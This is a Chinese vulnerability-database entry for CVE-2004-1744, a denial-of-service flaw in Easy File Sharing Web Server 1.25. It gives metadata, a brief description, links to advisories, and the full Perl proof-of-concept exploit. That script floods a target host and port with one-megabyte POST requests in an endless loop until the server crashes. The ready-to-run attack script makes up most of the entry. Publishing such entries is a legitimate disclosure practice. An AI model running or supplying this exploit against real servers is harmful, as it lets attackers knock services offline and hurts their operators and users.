Easy File Sharing Web Server远程服务拒绝漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108144 漏洞类型 其他
发布时间 2004-08-27 更新时间 2006-11-07
CVE编号 CVE-2004-1744 CNNVD-ID CNNVD-200408-216
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/423
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200408-216
|漏洞详情
EasyFileSharing(EFS)Webserver1.25版本存在漏洞。远程攻击者借助许多超大HTTP请求导致服务拒绝(CPU消耗或者崩溃)。
|漏洞EXP
##################################################### 
# Easy File Sharing Webserver v1.25 Denial Of Service 
# Proof Of Concept Code By GulfTech Security Research 
##################################################### 
# Easy File Sharing Webserver v1.25 will consume 99% 
# of CPU usage until it crashes when sent large req's 
##################################################### 

use IO::Socket; 

print "=====================================================n". 
      " Easy File Sharing Webserver v1.25 Denial Of Service n". 
  "=====================================================n"; 

unless (@ARGV > 1) { die("usage: efswsdos.pl host port"); } 

my $remote_host = $ARGV[0]; 
my $remote_port = $ARGV[1]; 
my $done = "15121512"; 
my $buff = "A" x 1000000; 
my $post = "POST /".$buff." HTTP/1.0 ".$done; 

print "
DoS'ing Server $remote_host Press ctrl+c to stopn"; 

while ($post) { 
for (my $i=1; $i<10; $i++) { 
my $i = IO::Socket::INET->new( Proto => "tcp", 
      PeerAddr   => $remote_host, 
  PeerPort   => $remote_port, 
      Timeout   => '10000', 
      Type       => SOCK_STREAM, 
      ) || die("
Server Is Dead!"); 

print $i $post; 
$i->autoflush(1); 
  } 
} 
close $i; 

# milw0rm.com [2004-08-27]
|参考资料

来源:XF
名称:easyfilesharing-http-request-dos(17110)
链接:http://xforce.iss.net/xforce/xfdb/17110
来源:BID
名称:11036
链接:http://www.securityfocus.com/bid/11036
来源:OSVDB
名称:9175
链接:http://www.osvdb.org/9175
来源:www.gulftech.org
链接:http://www.gulftech.org/?node=research&article_id=00045-08242004
来源:SECTRACK
名称:1011045
链接:http://securitytracker.com/id?1011045
来源:SECUNIA
名称:12372
链接:http://secunia.com/advisories/12372
来源:BUGTRAQ
名称:20040824EasyFileSharingWebserverv1.25Vulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109341398102863&w=2